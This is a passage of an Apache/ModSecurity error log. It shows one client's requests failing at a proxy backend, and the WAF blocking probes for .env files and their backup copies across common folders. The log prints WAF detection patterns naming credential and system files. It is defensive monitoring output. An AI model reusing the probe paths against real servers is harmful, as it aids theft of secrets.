127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.936098 2026] [proxy_http:error] [pid 648189:tid 648440] [client 207.241.173.18:44292] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.937084 2026] [proxy:error] [pid 648189:tid 648440] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.937142 2026] [proxy_http:error] [pid 648189:tid 648440] [client 207.241.173.18:44292] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.938404 2026] [proxy:error] [pid 715691:tid 715930] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.938485 2026] [proxy_http:error] [pid 715691:tid 715930] [client 207.241.173.18:44306] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.939647 2026] [proxy:error] [pid 648189:tid 648485] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.939724 2026] [proxy_http:error] [pid 648189:tid 648485] [client 207.241.173.18:44260] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.940412 2026] [proxy:error] [pid 648189:tid 648485] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.940456 2026] [proxy_http:error] [pid 648189:tid 648485] [client 207.241.173.18:44260] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.952869 2026] [security2:error] [pid 646876:tid 647073] [client 207.241.173.18:44100] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.bak"] [unique_id "ai30ItyTkdrNlD40tSHJogAAAEE"] [Sat Jun 13 18:21:54.953299 2026] [proxy:error] [pid 648189:tid 648437] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.953407 2026] [proxy_http:error] [pid 648189:tid 648437] [client 207.241.173.18:44268] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.954215 2026] [proxy:error] [pid 648189:tid 648437] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.954274 2026] [proxy_http:error] [pid 648189:tid 648437] [client 207.241.173.18:44268] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.956288 2026] [proxy:error] [pid 648189:tid 648398] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.956371 2026] [proxy_http:error] [pid 648189:tid 648398] [client 207.241.173.18:44240] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.957019 2026] [security2:error] [pid 646876:tid 647096] [client 207.241.173.18:44090] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env"] [unique_id "ai30ItyTkdrNlD40tSHJpAAAAFg"] [Sat Jun 13 18:21:54.957163 2026] [proxy:error] [pid 648189:tid 648398] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.957214 2026] [proxy_http:error] [pid 648189:tid 648398] [client 207.241.173.18:44240] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.958137 2026] [proxy:error] [pid 648189:tid 648477] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.958199 2026] [proxy_http:error] [pid 648189:tid 648477] [client 207.241.173.18:44246] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.958949 2026] [proxy:error] [pid 648189:tid 648477] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.958991 2026] [proxy_http:error] [pid 648189:tid 648477] [client 207.241.173.18:44246] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.960448 2026] [proxy:error] [pid 646876:tid 647027] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.960515 2026] [proxy_http:error] [pid 646876:tid 647027] [client 207.241.173.18:44124] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.961451 2026] [proxy:error] [pid 646876:tid 647027] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.961499 2026] [proxy_http:error] [pid 646876:tid 647027] [client 207.241.173.18:44124] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.962904 2026] [proxy:error] [pid 648189:tid 648375] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.962965 2026] [proxy_http:error] [pid 648189:tid 648375] [client 207.241.173.18:44278] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.963828 2026] [proxy:error] [pid 648189:tid 648375] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.963911 2026] [proxy_http:error] [pid 648189:tid 648375] [client 207.241.173.18:44278] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.964713 2026] [proxy:error] [pid 646876:tid 647010] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.964790 2026] [proxy_http:error] [pid 646876:tid 647010] [client 207.241.173.18:44134] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.966719 2026] [proxy:error] [pid 648189:tid 648435] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.966782 2026] [proxy_http:error] [pid 648189:tid 648435] [client 207.241.173.18:44422] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.967571 2026] [proxy:error] [pid 648189:tid 648435] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.967617 2026] [proxy_http:error] [pid 648189:tid 648435] [client 207.241.173.18:44422] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.968855 2026] [proxy:error] [pid 646876:tid 647034] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.968856 2026] [proxy:error] [pid 648189:tid 648390] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.968924 2026] [proxy_http:error] [pid 646876:tid 647034] [client 207.241.173.18:44092] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.968933 2026] [proxy_http:error] [pid 648189:tid 648390] [client 207.241.173.18:44250] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.969097 2026] [security2:error] [pid 648189:tid 648419] [client 207.241.173.18:44192] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/laravel/.env"] [unique_id "ai30IlWSojQL4F7upKCOXwAAAMY"] [Sat Jun 13 18:21:54.969607 2026] [security2:error] [pid 646876:tid 647074] [client 207.241.173.18:44150] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.old"] [unique_id "ai30ItyTkdrNlD40tSHJpgAAAEI"] [Sat Jun 13 18:21:54.969721 2026] [proxy:error] [pid 648189:tid 648390] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.969763 2026] [proxy_http:error] [pid 648189:tid 648390] [client 207.241.173.18:44250] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.969789 2026] [security2:error] [pid 648189:tid 648395] [client 207.241.173.18:44230] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/public/.env"] [unique_id "ai30IlWSojQL4F7upKCOXgAAAK8"] [Sat Jun 13 18:21:54.969870 2026] [security2:error] [pid 646876:tid 647021] [client 207.241.173.18:44116] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.backup"] [unique_id "ai30ItyTkdrNlD40tSHJpwAAAA0"] [Sat Jun 13 18:21:54.969969 2026] [proxy:error] [pid 646876:tid 647034] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.970008 2026] [proxy_http:error] [pid 646876:tid 647034] [client 207.241.173.18:44092] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.973124 2026] [security2:error] [pid 648189:tid 648445] [client 207.241.173.18:44226] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/web/.env"] [unique_id "ai30IlWSojQL4F7upKCOYAAAAN8"] [Sat Jun 13 18:21:54.978937 2026] [security2:error] [pid 648189:tid 648438] [client 207.241.173.18:44218] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/server/.env"] [unique_id "ai30IlWSojQL4F7upKCOYQAAANk"] [Sat Jun 13 18:21:54.981978 2026] [security2:error] [pid 648189:tid 648366] [client 207.241.173.18:44206] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/src/.env"] [unique_id "ai30IlWSojQL4F7upKCOYwAAAJI"] [Sat Jun 13 18:21:54.982560 2026] [proxy:error] [pid 648189:tid 648452] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.982674 2026] [proxy_http:error] [pid 648189:tid 648452] [client 207.241.173.18:44158] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.984415 2026] [proxy:error] [pid 648189:tid 648452] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.984479 2026] [proxy_http:error] [pid 648189:tid 648452] [client 207.241.173.18:44158] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.990238 2026] [security2:error] [pid 648189:tid 648467] [client 207.241.173.18:44162] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/app/.env"] [unique_id "ai30IlWSojQL4F7upKCOZQAAAPE"] [Sat Jun 13 18:21:54.990358 2026] [proxy:error] [pid 648189:tid 648388] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.990443 2026] [proxy_http:error] [pid 648189:tid 648388] [client 207.241.173.18:44388] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.990693 2026] [security2:error] [pid 648189:tid 648431] [client 207.241.173.18:44176] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/api/.env"] [unique_id "ai30IlWSojQL4F7upKCOZAAAANI"] [Sat Jun 13 18:21:54.991740 2026] [proxy:error] [pid 648189:tid 648388] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:54.991797 2026] [proxy_http:error] [pid 648189:tid 648388] [client 207.241.173.18:44388] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:54.998390 2026] [security2:error] [pid 648189:tid 648421] [client 207.241.173.18:44180] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/backend/.env"] [unique_id "ai30IlWSojQL4F7upKCOZwAAAMg"] [Sat Jun 13 18:21:55.002456 2026] [proxy:error] [pid 648189:tid 648400] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.002555 2026] [proxy_http:error] [pid 648189:tid 648400] [client 207.241.173.18:44076] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.003549 2026] [proxy:error] [pid 648189:tid 648400] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.003611 2026] [proxy_http:error] [pid 648189:tid 648400] [client 207.241.173.18:44076] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.007623 2026] [proxy:error] [pid 648189:tid 648447] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.007737 2026] [proxy_http:error] [pid 648189:tid 648447] [client 207.241.173.18:44466] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.009324 2026] [proxy:error] [pid 648189:tid 648371] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.009410 2026] [proxy_http:error] [pid 648189:tid 648371] [client 207.241.173.18:44632] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.010160 2026] [proxy:error] [pid 648189:tid 648371] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.010213 2026] [proxy_http:error] [pid 648189:tid 648371] [client 207.241.173.18:44632] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.011038 2026] [proxy:error] [pid 648189:tid 648430] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.011107 2026] [proxy_http:error] [pid 648189:tid 648430] [client 207.241.173.18:44636] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.016931 2026] [proxy:error] [pid 646876:tid 647089] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.017032 2026] [proxy_http:error] [pid 646876:tid 647089] [client 207.241.173.18:44600] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.018885 2026] [proxy:error] [pid 646876:tid 647089] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.018953 2026] [proxy_http:error] [pid 646876:tid 647089] [client 207.241.173.18:44600] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.019570 2026] [proxy:error] [pid 648189:tid 648365] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.019644 2026] [proxy_http:error] [pid 648189:tid 648365] [client 207.241.173.18:44644] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.020836 2026] [proxy:error] [pid 648189:tid 648365] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.020887 2026] [proxy_http:error] [pid 648189:tid 648365] [client 207.241.173.18:44644] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.021266 2026] [proxy:error] [pid 648189:tid 648356] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.021318 2026] [proxy_http:error] [pid 648189:tid 648356] [client 207.241.173.18:44594] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.021745 2026] [proxy:error] [pid 648189:tid 648484] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.021803 2026] [proxy_http:error] [pid 648189:tid 648484] [client 207.241.173.18:44608] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.022121 2026] [proxy:error] [pid 648189:tid 648356] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.022164 2026] [proxy_http:error] [pid 648189:tid 648356] [client 207.241.173.18:44594] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.022497 2026] [proxy:error] [pid 648189:tid 648430] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.022537 2026] [proxy_http:error] [pid 648189:tid 648430] [client 207.241.173.18:44636] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.022771 2026] [proxy:error] [pid 648189:tid 648484] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.022806 2026] [proxy_http:error] [pid 648189:tid 648484] [client 207.241.173.18:44608] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.022932 2026] [proxy:error] [pid 648189:tid 648447] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.022979 2026] [proxy_http:error] [pid 648189:tid 648447] [client 207.241.173.18:44466] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.023737 2026] [proxy:error] [pid 648189:tid 648434] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.023796 2026] [proxy_http:error] [pid 648189:tid 648434] [client 207.241.173.18:44578] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.025002 2026] [proxy:error] [pid 648189:tid 648434] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.025057 2026] [proxy_http:error] [pid 648189:tid 648434] [client 207.241.173.18:44578] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.025379 2026] [proxy:error] [pid 648189:tid 648478] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.025417 2026] [proxy_http:error] [pid 648189:tid 648478] [client 207.241.173.18:44518] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.025469 2026] [proxy:error] [pid 648189:tid 648406] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.025500 2026] [proxy_http:error] [pid 648189:tid 648406] [client 207.241.173.18:44534] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.025595 2026] [proxy:error] [pid 648189:tid 648473] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.025666 2026] [proxy_http:error] [pid 648189:tid 648473] [client 207.241.173.18:44582] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.025754 2026] [proxy:error] [pid 648189:tid 648470] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.025799 2026] [proxy_http:error] [pid 648189:tid 648470] [client 207.241.173.18:44574] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.025946 2026] [proxy:error] [pid 648189:tid 648448] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.026053 2026] [proxy_http:error] [pid 648189:tid 648448] [client 207.241.173.18:44546] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.026157 2026] [proxy:error] [pid 648189:tid 648454] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.026221 2026] [proxy_http:error] [pid 648189:tid 648454] [client 207.241.173.18:44554] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.026301 2026] [proxy:error] [pid 648189:tid 648370] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.026342 2026] [proxy_http:error] [pid 648189:tid 648370] [client 207.241.173.18:44612] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.026467 2026] [proxy:error] [pid 648189:tid 648470] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.026506 2026] [proxy_http:error] [pid 648189:tid 648470] [client 207.241.173.18:44574] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.026684 2026] [proxy:error] [pid 648189:tid 648406] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.026731 2026] [proxy_http:error] [pid 648189:tid 648406] [client 207.241.173.18:44534] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.026812 2026] [proxy:error] [pid 648189:tid 648473] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.026860 2026] [proxy_http:error] [pid 648189:tid 648473] [client 207.241.173.18:44582] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.027038 2026] [proxy:error] [pid 648189:tid 648370] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.027090 2026] [proxy_http:error] [pid 648189:tid 648370] [client 207.241.173.18:44612] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.027198 2026] [proxy:error] [pid 648189:tid 648478] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.027252 2026] [proxy_http:error] [pid 648189:tid 648478] [client 207.241.173.18:44518] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.027360 2026] [proxy:error] [pid 648189:tid 648448] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.027397 2026] [proxy_http:error] [pid 648189:tid 648448] [client 207.241.173.18:44546] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.027465 2026] [proxy:error] [pid 648189:tid 648454] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.027510 2026] [proxy_http:error] [pid 648189:tid 648454] [client 207.241.173.18:44554] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.029202 2026] [proxy:error] [pid 648189:tid 648386] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.029264 